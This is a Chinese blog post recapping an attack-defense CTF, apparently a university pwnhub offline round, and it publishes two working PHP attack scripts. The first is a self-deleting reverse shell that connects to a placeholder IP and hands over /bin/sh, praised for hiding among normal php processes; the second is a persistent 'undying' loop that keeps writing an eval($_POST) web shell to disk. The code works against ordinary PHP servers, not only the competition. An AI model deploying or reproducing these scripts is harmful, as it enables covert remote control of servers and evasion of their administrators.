朝花夕拾|勿忘初心 朝花夕拾|勿忘初心

关于这次pwnhub校赛线下赛小记

in CTF-Play read (736) 418汉字 站长Lucifaer 文章转载请注明来源!

上周的这个时候打完了算是大学的最后一场比赛,也算是继续被学校的垃圾网络制裁着....,上午因为网络问题从第二掉到最后一名,下午又打回前6,真的是惊险而刺激。提前写的一些防御脚本和权限维持脚本也没有用到,总的来说,挺失败的....同时也没有摆脱千年老二的命运,难受.....

反弹shell脚本

如果是一般的CTF的话,只需要在getshell之后执行反弹shell的命令就好了,但是如何做到不依赖于小马,以一种更加隐秘的方法将目标机的shell反弹回来,在线下赛就显得尤为重要。

我在写这个脚本的时候,考虑了很多种情况,最终还是放弃了利用python,选择php。理由有这么几点:

  • php反弹shell所开启的进程就是正常的php进程,运维人员很难发现恶意进程。
  • 选择php还有一个原因,就是更加的适应环境。

代码:

<?php
/**
 * Created by PhpStorm.
 * User: lucifaer
 * Date: 2017/6/17
 * Time: 上午10:58
 */
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1)
{
    $ip = 'xxx.xxx.xxx.xxx'; // 反弹的目标ip
    $port = 8888;   // 目标ip的端口号
    $sock = fsockopen($ip, $port);
    $descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock,
    );
    $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    proc_close($process);
}

最常见的不死马

做了两手准备,还准备了一个不死马,没啥特殊的功能,就是写在内存中了而已。

代码:

<?php
/**
 * Created by PhpStorm.
 * User: lucifaer
 * Date: 2017/6/17
 * Time: 下午1:53
 */
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1)
{
    file_put_contents(__DIR__.'/shell.php', '<?php @eval($_POST[c]);');// 这边可以改成自己的无特征shell
}

其他

  • 本来还准备发出来软waf,但是那个软waf并不是很稳定,对于不同的cms,可能会出现不同的错误,这就很尴尬,等我之后完善了,再发出来吧。
  • 队友现场根据web题目写的自动化getshell,getflag,提交flag的脚本不具有通用性,就不放出来了。
线下赛
最后由Lucifaer修改于2017-06-25 21:38

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
PREVIOUS NEXT
雷姆
拉姆